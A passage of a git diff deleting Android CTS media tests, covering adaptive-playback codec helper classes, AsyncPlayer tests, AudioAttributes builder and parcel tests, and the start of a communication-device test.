-                if (min > frame.presentationTimeUs) {
-                    min = frame.presentationTimeUs;
-                }
-                if (max < frame.presentationTimeUs) {
-                    max = frame.presentationTimeUs;
-                }
-            }
-        }
-        if (kind == RANGE_START) {
-            return min;
-        } else if (kind == RANGE_END) {
-            return max;
-        } else if (kind == RANGE_DURATION) {
-            return max - min;
-        } else {
-            throw new IllegalArgumentException("kind is not valid: " + kind);
-        }
-    }
-
-    public static Media read(final String video, int numFrames)
-            throws java.io.IOException {
-
-        Preconditions.assertTestFileExists(video);
-        MediaExtractor extractor = new MediaExtractor();
-        extractor.setDataSource(video);
-
-        Media media = new Media(
-                extractor.getTrackFormat(0), extractor.getTrackFormat(0), numFrames);
-        extractor.selectTrack(0);
-
-        Log.i(TAG, "format=" + media.getFormat());
-        ArrayList<ByteBuffer> csds = new ArrayList<ByteBuffer>();
-        for (String tag: new String[] { "csd-0", "csd-1" }) {
-            if (media.getFormat().containsKey(tag)) {
-                ByteBuffer csd = media.getFormat().getByteBuffer(tag);
-                Log.i(TAG, tag + "=" + AdaptivePlaybackTest.byteBufferToString(csd, 0, 16));
-                csds.add(csd);
-            }
-        }
-
-        int maxInputSize = 0;
-        ByteBuffer readBuf = ByteBuffer.allocate(2000000);
-        for (int ix = 0; ix < numFrames; ix++) {
-            int sampleSize = extractor.readSampleData(readBuf, 0 /* offset */);
-
-            if (sampleSize < 0) {
-                throw new IllegalArgumentException("media is too short at " + ix + " frames");
-            } else {
-                readBuf.position(0).limit(sampleSize);
-                for (ByteBuffer csd: csds) {
-                    sampleSize += csd.capacity();
-                }
-
-                if (maxInputSize < sampleSize) {
-                    maxInputSize = sampleSize;
-                }
-
-                ByteBuffer buf = ByteBuffer.allocate(sampleSize);
-                for (ByteBuffer csd: csds) {
-                    csd.clear();
-                    buf.put(csd);
-                    csd.clear();
-                    Log.i(TAG, "csd[" + csd.capacity() + "]");
-                }
-                Log.i(TAG, "frame-" + ix + "[" + sampleSize + "]");
-                csds.clear();
-                buf.put(readBuf);
-                media.mFrames[ix] = new Frame(
-                    extractor.getSampleTime(),
-                    extractor.getSampleFlags(),
-                    buf);
-                extractor.advance();
-            }
-        }
-        extractor.release();
-
-        /* Override MAX_INPUT_SIZE in format, as CSD is being combined
-         * with one of the input buffers */
-        media.setMaxInputSize(maxInputSize);
-        return media;
-    }
-}
-
-/* ====================================================================== */
-/*                      Codec, CodecList and CodecFactory                 */
-/* ====================================================================== */
-class Codec {
-    private final static String TAG = "AdaptiveCodec";
-
-    public String name;
-    public CodecCapabilities capabilities;
-    public Media[] mediaList;
-    public boolean adaptive;
-    public boolean vendor;
-    public Codec(MediaCodecInfo info, CodecCapabilities c, Media[] m) {
-        name = info.getName();
-        capabilities = c;
-        List<Media> medias = new ArrayList<Media>();
-
-        if (capabilities == null) {
-            adaptive = false;
-            vendor = true;
-        } else {
-            Log.w(TAG, "checking capabilities of " + name + " for " + m[0].getMime());
-            adaptive = capabilities.isFeatureSupported(CodecCapabilities.FEATURE_AdaptivePlayback);
-            vendor = info.isVendor();
-            for (Media media : m) {
-                if (media.getHeight() >= 720 &&
-                        !capabilities.isFormatSupported(media.getFormat())) {
-                    // skip if 720p and up is unsupported
-                    Log.w(TAG, "codec " + name + " doesn't support " + media.getFormat());
-                    continue;
-                }
-                medias.add(media);
-            }
-        }
-
-        if (medias.size() < 2) {
-            Log.e(TAG, "codec " + name + " doesn't support required resolutions");
-        }
-        mediaList = medias.subList(0, 2).toArray(new Media[2]);
-    }
-}
-
-class CodecList extends ArrayList<Codec> { };
-
-/* all codecs of mime, plus named codec if exists */
-class CodecFamily extends CodecList {
-    private final static String TAG = "AdaptiveCodecFamily";
-    private static final int NUM_FRAMES = AdaptivePlaybackTest.NUM_FRAMES;
-    static final String mInpPrefix = WorkDir.getMediaDirString();
-
-    public CodecFamily(String mime, final String ... resources) {
-        try {
-            /* read all media */
-            Media[] mediaList = new Media[resources.length];
-            for (int i = 0; i < resources.length; i++) {
-                Log.v(TAG, "reading media " + mInpPrefix + resources[i]);
-                Media media = Media.read(mInpPrefix + resources[i], NUM_FRAMES);
-                assert media.getMime().equals(mime):
-                        "test stream " + mInpPrefix + resources[i] + " has " + media.getMime() +
-                        " mime type instead of " + mime;
-
-                /* assuming the first timestamp is the smallest */
-                long firstPTS = media.getFrame(0).presentationTimeUs;
-                long smallestPTS = media.getTimestampRangeValue(0, NUM_FRAMES, Media.RANGE_START);
-
-                assert firstPTS == smallestPTS:
-                        "first frame timestamp (" + firstPTS + ") is not smallest (" +
-                        smallestPTS + ")";
-
-                mediaList[i] = media;
-            }
-
-            /* enumerate codecs */
-            MediaCodecList mcl = new MediaCodecList(MediaCodecList.REGULAR_CODECS);
-            for (MediaCodecInfo codecInfo : mcl.getCodecInfos()) {
-                if (codecInfo.isAlias()) {
-                    continue;
-                }
-                if (codecInfo.isEncoder()) {
-                    continue;
-                }
-                for (String type : codecInfo.getSupportedTypes()) {
-                    if (type.equals(mime)) {
-                        add(new Codec(
-                                codecInfo,
-                                codecInfo.getCapabilitiesForType(mime),
-                                mediaList));
-                        break;
-                    }
-                }
-            }
-        } catch (Throwable t) {
-            Log.wtf("Constructor failed", t);
-            throw new RuntimeException("constructor failed", t);
-        }
-    }
-}
-
-/* all codecs of mime, except named codec if exists */
-class CodecFamilySpecific extends CodecList {
-    public CodecFamilySpecific(String mime, boolean isGoogle, final String ... resources) {
-        for (Codec c: new CodecFamily(mime, resources)) {
-            if (!c.vendor == isGoogle) {
-                add(c);
-            }
-        }
-    }
-}
-
-class CodecFactory {
-    public CodecList createCodecList(String mime, final String ...resources) {
-        return new CodecFamily(mime, resources);
-    }
-}
-
-class SWCodecFactory extends CodecFactory {
-    public CodecList createCodecList(String mime, final String ...resources) {
-        return new CodecFamilySpecific(mime, true, resources);
-    }
-}
-
-class HWCodecFactory extends CodecFactory {
-    public CodecList createCodecList(String mime, final String ...resources) {
-        return new CodecFamilySpecific(mime, false, resources);
-    }
-}
-
-/* ====================================================================== */
-/*                  Test Steps, Test (Case)s, and Test List               */
-/* ====================================================================== */
-class StepRunner implements Runnable {
-    public StepRunner(Step s) {
-        mStep = s;
-        mThrowed = null;
-    }
-    public void run() {
-        try {
-            mStep.run();
-        } catch (Throwable e) {
-            mThrowed = e;
-        }
-    }
-    public void throwThrowed() throws Throwable {
-        if (mThrowed != null) {
-            throw mThrowed;
-        }
-    }
-    private Throwable mThrowed;
-    private Step mStep;
-}
-
-class TestList extends ArrayList<Step> {
-    private final static String TAG = "AdaptiveTestList";
-    public void run() throws Throwable {
-        Throwable res = null;
-        for (Step step: this) {
-            try {
-                Log.i(TAG, step.getDescription());
-                if (step.stepSurface().needsToRunInSeparateThread()) {
-                    StepRunner runner = new StepRunner(step);
-                    Thread th = new Thread(runner, "stepWrapper");
-                    th.start();
-                    th.join();
-                    runner.throwThrowed();
-                } else {
-                    step.run();
-                }
-            } catch (Throwable e) {
-                Log.e(TAG, "while " + step.getDescription(), e);
-                res = e;
-                mFailedSteps++;
-            } finally {
-                mWarnings += step.getWarnings();
-            }
-        }
-        if (res != null) {
-            throw new RuntimeException(
-                mFailedSteps + " failed steps, " + mWarnings + " warnings",
-                res);
-        }
-    }
-    public int getWarnings() {
-        return mWarnings;
-    }
-    public int getFailures() {
-        return mFailedSteps;
-    }
-    private int mFailedSteps;
-    private int mWarnings;
-}
-
-abstract class Test {
-    public static final int FORMAT_ADAPTIVE_LARGEST = 1;
-    public static final int FORMAT_ADAPTIVE_FIRST = 2;
-    public static final int FORMAT_REGULAR = 3;
-
-    protected int mFormatType;
-    protected boolean mUseSurface;
-    protected boolean mUseSurfaceTexture;
-
-    public Test() {
-        mFormatType = FORMAT_REGULAR;
-        mUseSurface = true;
-        mUseSurfaceTexture = false;
-    }
-
-    public Test adaptive() {
-        mFormatType = FORMAT_ADAPTIVE_LARGEST;
-        return this;
-    }
-
-    public Test adaptiveSmall() {
-        mFormatType = FORMAT_ADAPTIVE_FIRST;
-        return this;
-    }
-
-    public Test byteBuffer() {
-        mUseSurface = false;
-        mUseSurfaceTexture = false;
-        return this;
-    }
-
-    public Test texture() {
-        mUseSurface = false;
-        mUseSurfaceTexture = true;
-        return this;
-    }
-
-    public void checkAdaptiveFormat() {
-        assert mFormatType != FORMAT_REGULAR:
-                "must be used with adaptive format";
-    }
-
-    abstract protected TestSurface getSurface();
-
-    /* TRICKY: format is updated in each test run as we are actually reusing the
-       same 2 MediaFormat objects returned from MediaExtractor.  Therefore,
-       format must be explicitly obtained in each test step.
-
-       returns null if codec does not support the format.
-       */
-    protected MediaFormat getFormat(Codec c) {
-        return getFormat(c, 0);
-    }
-
-    protected MediaFormat getFormat(Codec c, int i) {
-        MediaFormat format = null;
-        if (mFormatType == FORMAT_REGULAR) {
-            format = c.mediaList[i].getFormat();
-        } else if (mFormatType == FORMAT_ADAPTIVE_FIRST && c.adaptive) {
-            format = c.mediaList[i].getAdaptiveFormat(
-                c.mediaList[i].getWidth(), c.mediaList[i].getHeight(), c.mediaList[i].getMaxInputSize());
-            for (Media media : c.mediaList) {
-                /* get the largest max input size for all media and use that */
-                if (media.getMaxInputSize() > format.getInteger(MediaFormat.KEY_MAX_INPUT_SIZE)) {
-                    format.setInteger(MediaFormat.KEY_MAX_INPUT_SIZE, media.getMaxInputSize());
-                }
-            }
-        } else if (mFormatType == FORMAT_ADAPTIVE_LARGEST && c.adaptive) {
-            /* update adaptive format to max size used */
-            format = c.mediaList[i].getAdaptiveFormat(0, 0, 0);
-            for (Media media : c.mediaList) {
-                /* get the largest width, and the largest height independently */
-                if (media.getWidth() > format.getInteger(MediaFormat.KEY_MAX_WIDTH)) {
-                    format.setInteger(MediaFormat.KEY_MAX_WIDTH, media.getWidth());
-                }
-                if (media.getHeight() > format.getInteger(MediaFormat.KEY_MAX_HEIGHT)) {
-                    format.setInteger(MediaFormat.KEY_MAX_HEIGHT, media.getHeight());
-                }
-                if (media.getMaxInputSize() > format.getInteger(MediaFormat.KEY_MAX_INPUT_SIZE)) {
-                    format.setInteger(MediaFormat.KEY_MAX_INPUT_SIZE, media.getMaxInputSize());
-                }
-            }
-        }
-        return format;
-    }
-
-    public boolean isValid(Codec c) { return true; }
-    public abstract void addTests(TestList tests, Codec c);
-}
-
-abstract class Step {
-    private static final String TAG = "AdaptiveStep";
-
-    public Step(String title, Test instance, Codec codec, Media media) {
-        mTest = instance;
-        mCodec = codec;
-        mMedia = media;
-        mDescription = title + " on " + stepSurface().getSurface() + " using " +
-            mCodec.name + " and " + stepFormat();
-    }
-    public Step(String title, Test instance, Codec codec, int mediaIx) {
-        this(title, instance, codec, codec.mediaList[mediaIx]);
-    }
-    public Step(String title, Test instance, Codec codec) {
-        this(title, instance, codec, 0);
-    }
-    public Step(String description) {
-        mDescription = description;
-    }
-    public Step() { }
-
-    public abstract void run() throws Throwable;
-
-    private String mDescription;
-    private Test mTest;
-    private Codec mCodec;
-    private Media mMedia;
-    private int mWarnings;
-
-    /* TRICKY: use non-standard getter names so that we don't conflict with the getters
-       in the Test classes, as most test Steps are defined as anonymous classes inside
-       the test classes. */
-    public MediaFormat stepFormat() {
-        int ix = Arrays.asList(mCodec.mediaList).indexOf(mMedia);
-        return mTest.getFormat(mCodec, ix);
-    }
-
-    public TestSurface stepSurface() {
-        return mTest.getSurface();
-    }
-
-    public Media  stepMedia()       { return mMedia; }
-
-    public String getDescription() { return mDescription; }
-    public int    getWarnings()    { return mWarnings; }
-
-    public void warn(String message) {
-        Log.e(TAG, "WARNING: " + message + " in " + getDescription());
-        mWarnings++;
-    }
-    public void warn(String message, Throwable t) {
-        Log.e(TAG, "WARNING: " + message + " in " + getDescription(), t);
-        mWarnings++;
-    }
-    public void warn(Iterable<String> warnings) {
-        for (String warning: warnings) {
-            warn(warning);
-        }
-    }
-}
-
-interface TestSurface {
-    public Surface getSurface();
-    public long checksum();
-    public void release();
-    public void prepare();         // prepare surface prior to render
-    public void waitForDraw();     // wait for rendering to take place
-    public boolean needsToRunInSeparateThread();
-}
-
-class DecoderSurface extends OutputSurface implements TestSurface {
-    private ByteBuffer mBuf;
-    int mWidth;
-    int mHeight;
-    CRC32 mCRC;
-
-    public DecoderSurface(int width, int height, CRC32 crc) {
-        super(width, height);
-        mWidth = width;
-        mHeight = height;
-        mCRC = crc;
-        mBuf = ByteBuffer.allocateDirect(4 * width * height);
-    }
-
-    public void prepare() {
-        makeCurrent();
-    }
-
-    public void waitForDraw() {
-        awaitNewImage();
-        drawImage();
-    }
-
-    public long checksum() {
-        mBuf.position(0);
-        GLES20.glReadPixels(0, 0, mWidth, mHeight, GL10.GL_RGBA, GL10.GL_UNSIGNED_BYTE, mBuf);
-        mBuf.position(0);
-        return AdaptivePlaybackTest.checksum(mBuf, mBuf.capacity(), mCRC);
-    }
-
-    public void release() {
-        super.release();
-        mBuf = null;
-    }
-
-    public boolean needsToRunInSeparateThread() {
-        return true;
-    }
-}
-
-class ActivitySurface implements TestSurface {
-    private Surface mSurface;
-    public ActivitySurface(Surface s) {
-        mSurface = s;
-    }
-    public Surface getSurface() {
-        return mSurface;
-    }
-    public void prepare() { }
-    public void waitForDraw() { }
-    public long checksum() {
-        return 0;
-    }
-    public void release() {
-        // don't release activity surface, as it is reusable
-    }
-    public boolean needsToRunInSeparateThread() {
-        return false;
-    }
-}
diff --git a/tests/tests/media/src/android/media/cts/AsyncPlayerTest.java b/tests/tests/media/src/android/media/cts/AsyncPlayerTest.java
deleted file mode 100644
index e24339f..0000000
--- a/tests/tests/media/src/android/media/cts/AsyncPlayerTest.java
+++ /dev/null
@@ -1,48 +0,0 @@
-/*
- * Copyright (C) 2009 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.media.cts;
-
-import android.content.Context;
-import android.media.AsyncPlayer;
-import android.media.AudioAttributes;
-import android.media.AudioManager;
-import android.net.Uri;
-import android.provider.Settings;
-import android.test.AndroidTestCase;
-
-@NonMediaMainlineTest
-public class AsyncPlayerTest extends AndroidTestCase {
-
-    public void testAsyncPlayer() throws Exception {
-        final Uri PLAY_URI = Settings.System.DEFAULT_NOTIFICATION_URI;
-        AsyncPlayer asyncPlayer = new AsyncPlayer(null);
-        asyncPlayer.play(getContext(), PLAY_URI, true, AudioManager.STREAM_RING);
-        final int PLAY_TIME = 3000;
-        Thread.sleep(PLAY_TIME);
-        asyncPlayer.stop();
-    }
-
-    public void testAsyncPlayerAudioAttributes() throws Exception {
-        final Uri PLAY_URI = Settings.System.DEFAULT_NOTIFICATION_URI;
-        AsyncPlayer asyncPlayer = new AsyncPlayer(null);
-        asyncPlayer.play(getContext(), PLAY_URI, true,
-                new AudioAttributes.Builder().setUsage(AudioAttributes.USAGE_NOTIFICATION).build());
-        final int PLAY_TIME = 3000;
-        Thread.sleep(PLAY_TIME);
-        asyncPlayer.stop();
-    }
-}
diff --git a/tests/tests/media/src/android/media/cts/AudioAttributesTest.java b/tests/tests/media/src/android/media/cts/AudioAttributesTest.java
deleted file mode 100644
index a1feb9a..0000000
--- a/tests/tests/media/src/android/media/cts/AudioAttributesTest.java
+++ /dev/null
@@ -1,324 +0,0 @@
-/*
- * Copyright (C) 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.media.cts;
-
-import static org.testng.Assert.assertThrows;
-import static org.testng.Assert.expectThrows;
-
-import android.audio.policy.configuration.V7_0.AudioUsage;
-import android.media.AudioAttributes;
-import android.media.AudioManager;
-import android.os.Parcel;
-
-import com.android.compatibility.common.util.CtsAndroidTestCase;
-
-import java.lang.reflect.Field;
-import java.lang.reflect.InvocationTargetException;
-import java.lang.reflect.Method;
-
-@NonMediaMainlineTest
-public class AudioAttributesTest extends CtsAndroidTestCase {
-
-    // -----------------------------------------------------------------
-    // AUDIOATTRIBUTES TESTS:
-    // ----------------------------------
-
-    // -----------------------------------------------------------------
-    // Parcelable tests
-    // ----------------------------------
-
-    // Test case 1: call describeContents(), not used yet, but needs to be exercised
-    public void testParcelableDescribeContents() throws Exception {
-        final AudioAttributes aa = new AudioAttributes.Builder()
-                .setUsage(AudioAttributes.USAGE_MEDIA).build();
-        assertNotNull("Failure to create the AudioAttributes", aa);
-        assertEquals(0, aa.describeContents());
-    }
-
-    // Test case 2: create an instance, marshall it and create a new instance,
-    //      check for equality, both by comparing fields, and with the equals(Object) method
-    public void testParcelableWriteToParcelCreate() throws Exception {
-        final AudioAttributes srcAttr = new AudioAttributes.Builder()
-            .setUsage(AudioAttributes.USAGE_MEDIA)
-            .setContentType(AudioAttributes.CONTENT_TYPE_MUSIC)
-            .setFlags(AudioAttributes.FLAG_AUDIBILITY_ENFORCED).build();
-        final Parcel srcParcel = Parcel.obtain();
-        final Parcel dstParcel = Parcel.obtain();
-        final byte[] mbytes;
-
-        srcAttr.writeToParcel(srcParcel, 0 /*no public flags for marshalling*/);
-        mbytes = srcParcel.marshall();
-        dstParcel.unmarshall(mbytes, 0, mbytes.length);
-        dstParcel.setDataPosition(0);
-        final AudioAttributes targetAttr = AudioAttributes.CREATOR.createFromParcel(dstParcel);
-
-        assertEquals("Marshalled/restored usage doesn't match",
-                srcAttr.getUsage(), targetAttr.getUsage());
-        assertEquals("Marshalled/restored content type doesn't match",
-                srcAttr.getContentType(), targetAttr.getContentType());
-        assertEquals("Marshalled/restored flags don't match",
-                srcAttr.getFlags(), targetAttr.getFlags());
-        assertTrue("Source and target attributes are not considered equal",
-                srcAttr.equals(targetAttr));
-    }
-
-    // Test case 3: verify going from AudioAttributes to stream type, with attributes built from
-    //    stream type.
-    public void testGetVolumeControlStreamVsLegacyStream() throws Exception {
-        for (int testType : new int[] { AudioManager.STREAM_ALARM, AudioManager.STREAM_MUSIC,
-                AudioManager.STREAM_NOTIFICATION, AudioManager.STREAM_RING,
-                AudioManager.STREAM_SYSTEM, AudioManager.STREAM_VOICE_CALL}) {
-            final AudioAttributes aa = new AudioAttributes.Builder().setLegacyStreamType(testType)
-                    .build();
-            final int stream = aa.getVolumeControlStream();
-            assertEquals("Volume control from attributes, stream doesn't match", testType, stream);
-        }
-    }
-
-    // -----------------------------------------------------------------
-    // Builder tests
-    // ----------------------------------
-    public void testInvalidUsage() {
-        assertThrows(IllegalArgumentException.class,
-                () -> { new AudioAttributes.Builder()
-                        .setUsage(Integer.MIN_VALUE / 2) // some invalid value
-                        .build();
-                });
-    }
-
-    public void testInvalidContentType() {
-        assertThrows(IllegalArgumentException.class,
-                () -> {
-                    new AudioAttributes.Builder()
-                            .setContentType(Integer.MIN_VALUE / 2) // some invalid value
-                            .build();
-                } );
-    }
-
-    public void testDefaultUnknown() {
-        final AudioAttributes aa = new AudioAttributes.Builder()
-                .setFlags(AudioAttributes.ALLOW_CAPTURE_BY_ALL)
-                .build();
-        assertEquals("Unexpected default usage", AudioAttributes.USAGE_UNKNOWN, aa.getUsage());
-        assertEquals("Unexpected default content type",
-                AudioAttributes.CONTENT_TYPE_UNKNOWN, aa.getContentType());
-    }
-
-    // -----------------------------------------------------------------
-    // System usage tests
-    // ----------------------------------
-
-    public void testSetUsage_throwsWhenPassedSystemUsage()
-            throws NoSuchFieldException, IllegalAccessException {
-        int emergencySystemUsage = getEmergencySystemUsage();
-        AudioAttributes.Builder builder = new AudioAttributes.Builder();
-
-        assertThrows(IllegalArgumentException.class, () -> builder.setUsage(emergencySystemUsage));
-    }
-
-    public void testSetSystemUsage_throwsWhenPassedSdkUsage() {
-        InvocationTargetException e = expectThrows(InvocationTargetException.class, () -> {
-            setSystemUsage(new AudioAttributes.Builder(), AudioAttributes.USAGE_MEDIA);
-        });
-
-        assertEquals(IllegalArgumentException.class, e.getTargetException().getClass());
-    }
-
-    public void testBuild_throwsWhenSettingBothSystemAndSdkUsages()
-            throws NoSuchFieldException, IllegalAccessException, NoSuchMethodException,
-            InvocationTargetException {
-        AudioAttributes.Builder builder = new AudioAttributes.Builder()
-                .setUsage(AudioAttributes.USAGE_MEDIA);
-        builder = setEmergencySystemUsage(builder);
-
-        assertThrows(IllegalArgumentException.class, builder::build);
-    }
-
-    public void testGetUsage_returnsUnknownWhenSystemUsageSet()
-            throws NoSuchFieldException, IllegalAccessException, NoSuchMethodException,
-            InvocationTargetException {
-        AudioAttributes attributes = getAudioAttributesWithEmergencySystemUsage();
-
-        assertEquals(AudioAttributes.USAGE_UNKNOWN, attributes.getUsage());
-    }
-
-    public void testGetSystemUsage_returnsSetUsage()
-            throws IllegalAccessException, NoSuchMethodException, InvocationTargetException {
-        AudioAttributes attributes = new AudioAttributes.Builder()
-                .setUsage(AudioAttributes.USAGE_MEDIA)
-                .build();
-
-        assertEquals(AudioAttributes.USAGE_MEDIA, getSystemUsage(attributes));
-    }
-
-    public void testSpatializationAttr() {
-        for (int virtBehavior : new int[] { AudioAttributes.SPATIALIZATION_BEHAVIOR_AUTO,
-                                            AudioAttributes.SPATIALIZATION_BEHAVIOR_NEVER}) {
-            AudioAttributes attributes = new AudioAttributes.Builder()
-                    .setUsage(AudioAttributes.USAGE_MEDIA)
-                    .setSpatializationBehavior(virtBehavior)
-                    .build();
-            assertEquals("Spatialization behavior doesn't match", virtBehavior,
-                    attributes.getSpatializationBehavior());
-        }
-
-        for (boolean isVirtualized : new boolean[] { true, false }) {
-            AudioAttributes attributes = new AudioAttributes.Builder()
-                    .setUsage(AudioAttributes.USAGE_MEDIA)
-                    .setIsContentSpatialized(isVirtualized)
-                    .build();
-            assertEquals("Is content virtualized doesn't match", isVirtualized,
-                    attributes.isContentSpatialized());
-        }
-    }
-
-    // -----------------------------------------------------------------
-    // Capture policy tests
-    // ----------------------------------
-    public void testAllowedCapturePolicy() throws Exception {
-        for (int setPolicy : new int[] { AudioAttributes.ALLOW_CAPTURE_BY_ALL,
-                                      AudioAttributes.ALLOW_CAPTURE_BY_SYSTEM,
-                                      AudioAttributes.ALLOW_CAPTURE_BY_NONE }) {
-            final AudioAttributes aa = new AudioAttributes.Builder()
-                    .setAllowedCapturePolicy(setPolicy).build();
-            final int getPolicy = aa.getAllowedCapturePolicy();
-            assertEquals("Allowed capture policy doesn't match", setPolicy, getPolicy);
-        }
-    }
-
-    public void testDefaultAllowedCapturePolicy() throws Exception {
-        final AudioAttributes aa = new AudioAttributes.Builder().build();
-        final int policy = aa.getAllowedCapturePolicy();
-        assertEquals("Wrong default capture policy", AudioAttributes.ALLOW_CAPTURE_BY_ALL, policy);
-    }
-
-    // -----------------------------------------------------------------
-    // Regression tests
-    // ----------------------------------
-    // Test against regression where setLegacyStreamType() was creating a different Builder
-    public void testSetLegacyStreamOnBuilder() throws Exception {
-        final int stream = AudioManager.STREAM_MUSIC;
-        AudioAttributes.Builder builder1 = new AudioAttributes.Builder();
-        builder1.setLegacyStreamType(stream);
-        AudioAttributes attr1 = builder1.build();
-
-        AudioAttributes.Builder builder2 = new AudioAttributes.Builder().setLegacyStreamType(stream);
-        AudioAttributes attr2 = builder2.build();
-
-        assertEquals(attr1, attr2);
-    }
-
-    /**
-     * Test AudioAttributes Builder error handling.
-     *
-     * @throws Exception
-     */
-    public void testAudioAttributesBuilderError() throws Exception {
-        final int BIGNUM = Integer.MAX_VALUE;
-
-        assertThrows(IllegalArgumentException.class, () -> {
-            new AudioAttributes.Builder()
-                    .setContentType(BIGNUM)
-                    .build();
-        });
-
-        // TODO(b/207021564): This should throw IAE in AudioAttributes.Builder.
-        //assertThrows(IllegalArgumentException.class, () -> {
-            new AudioAttributes.Builder()
-                    .setFlags(BIGNUM)
-                    .build();
-        //});
-
-        // TODO(b/207016008): This should throw IAE in AudioAttributes.Builder.
-        //assertThrows(IllegalArgumentException.class, () -> {
-            new AudioAttributes.Builder()
-                    .setLegacyStreamType(BIGNUM)
-                    .build();
-        //});
-
-        assertThrows(IllegalArgumentException.class, () -> {
-            new AudioAttributes.Builder()
-                    .setSpatializationBehavior(BIGNUM)
-                    .build();
-        });
-
-        assertThrows(IllegalArgumentException.class, () -> {
-            new AudioAttributes.Builder()
-                    .setUsage(BIGNUM)
-                    .build();
-        });
-    }
-
-    // -----------------------------------------------------------------
-    // audio_policy_configuration.xsd converter tests
-    // ----------------------------------
-    public void testXsdStringToUsage_returnsCorrectUsage() {
-        int usage = AudioAttributes.xsdStringToUsage(AudioUsage.AUDIO_USAGE_MEDIA.toString());
-
-        assertEquals(AudioAttributes.USAGE_MEDIA, usage);
-    }
-
-    public void testXsdStringToUsage_withUnsupportedString_returnsUnknownUsage() {
-        int usage = AudioAttributes.xsdStringToUsage("not a usage");
-
-        assertEquals(AudioAttributes.USAGE_UNKNOWN, usage);
-    }
-
-    public void testUsageToXsdString_returnsCorrectString() {
-        String xsdUsage = AudioAttributes.usageToXsdString(AudioAttributes.USAGE_MEDIA);
-
-        assertEquals(AudioUsage.AUDIO_USAGE_MEDIA.toString(), xsdUsage);
-    }
-
-    // -------------------------------------------------------------------
-    // Reflection helpers for accessing system usage methods and fields
-    // -------------------------------------------------------------------
-    private static AudioAttributes getAudioAttributesWithEmergencySystemUsage()
-            throws NoSuchFieldException, IllegalAccessException, NoSuchMethodException,
-            InvocationTargetException {
-        AudioAttributes.Builder builder = new AudioAttributes.Builder();
-        builder = setEmergencySystemUsage(builder);
-        return builder.build();
-    }
-
-    private static AudioAttributes.Builder setEmergencySystemUsage(AudioAttributes.Builder builder)
-            throws NoSuchFieldException, IllegalAccessException, NoSuchMethodException,
-            InvocationTargetException {
-        int emergencySystemUsage = getEmergencySystemUsage();
-        return setSystemUsage(builder, emergencySystemUsage);
-    }
-
-    private static AudioAttributes.Builder setSystemUsage(AudioAttributes.Builder builder,
-            int systemUsage)
-            throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
-        Method setSystemUsageMethod = AudioAttributes.Builder.class
-                .getMethod("setSystemUsage", int.class);
-        return (AudioAttributes.Builder) setSystemUsageMethod.invoke(builder, systemUsage);
-    }
-
-    private static int getEmergencySystemUsage()
-            throws IllegalAccessException, NoSuchFieldException {
-        Field emergencyField = AudioAttributes.class.getDeclaredField("USAGE_EMERGENCY");
-        return emergencyField.getInt(null);
-    }
-
-    private static int getSystemUsage(AudioAttributes attributes)
-            throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
-        Method getSystemUsageMethod = AudioAttributes.class.getMethod("getSystemUsage");
-        return (int) getSystemUsageMethod.invoke(attributes);
-    }
-}
diff --git a/tests/tests/media/src/android/media/cts/AudioCommunicationDeviceTest.java b/tests/tests/media/src/android/media/cts/AudioCommunicationDeviceTest.java
deleted file mode 100644
index 40a56ea..0000000
--- a/tests/tests/media/src/android/media/cts/AudioCommunicationDeviceTest.java
+++ /dev/null
@@ -1,255 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.media.cts;
-
-import android.content.pm.PackageManager;
-import android.media.AudioDeviceInfo;
-import android.media.AudioManager;
-import android.util.Log;
-
-import androidx.test.filters.SdkSuppress;
-
-import com.android.compatibility.common.util.CtsAndroidTestCase;
-import com.android.internal.annotations.GuardedBy;
-
-import java.util.List;
-import java.util.concurrent.Executors;
-
-
-@SdkSuppress(minSdkVersion = 31, codeName = "S")
-public class AudioCommunicationDeviceTest extends CtsAndroidTestCase {
-    private final static String TAG = "AudioCommunicationDeviceTest";
-
-    private AudioManager mAudioManager;
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mAudioManager = getInstrumentation().getContext().getSystemService(AudioManager.class);
-    }
-
-    public void testSetValidCommunicationDevice() {
-        if (!isValidPlatform("testSetValidCommunicationDevice")) return;
-
-        AudioDeviceInfo commDevice = null;
-        List<AudioDeviceInfo> devices = mAudioManager.getAvailableCommunicationDevices();
-        for (AudioDeviceInfo device : devices) {
-            try {
-                mAudioManager.setCommunicationDevice(device);
-                try {
-                    commDevice = mAudioManager.getCommunicationDevice();
-                } catch (Exception e) {
-                    fail("getCommunicationDevice failed with exception: " + e);
-                }
-                if (commDevice == null || commDevice.getType() != device.getType()) {
-                    fail("setCommunicationDevice failed, expected device: "
-                            + device.getType() + " but got: "
-                            + ((commDevice == null)
-                                ? AudioDeviceInfo.TYPE_UNKNOWN : commDevice.getType()));
-                }
-            } catch (Exception e) {
-                fail("setCommunicationDevice failed with exception: " + e);
-            }
-        }
-
-        try {
-            mAudioManager.clearCommunicationDevice();
-        } catch (Exception e) {
-            fail("clearCommunicationDevice failed with exception: " + e);
-        }
-        try {
-            commDevice = mAudioManager.getCommunicationDevice();
-        } catch (Exception e) {
-            fail("getCommunicationDevice failed with exception: " + e);
-        }
-        if (commDevice == null) {
-            fail("platform has no default communication device");
-        }
-    }
-
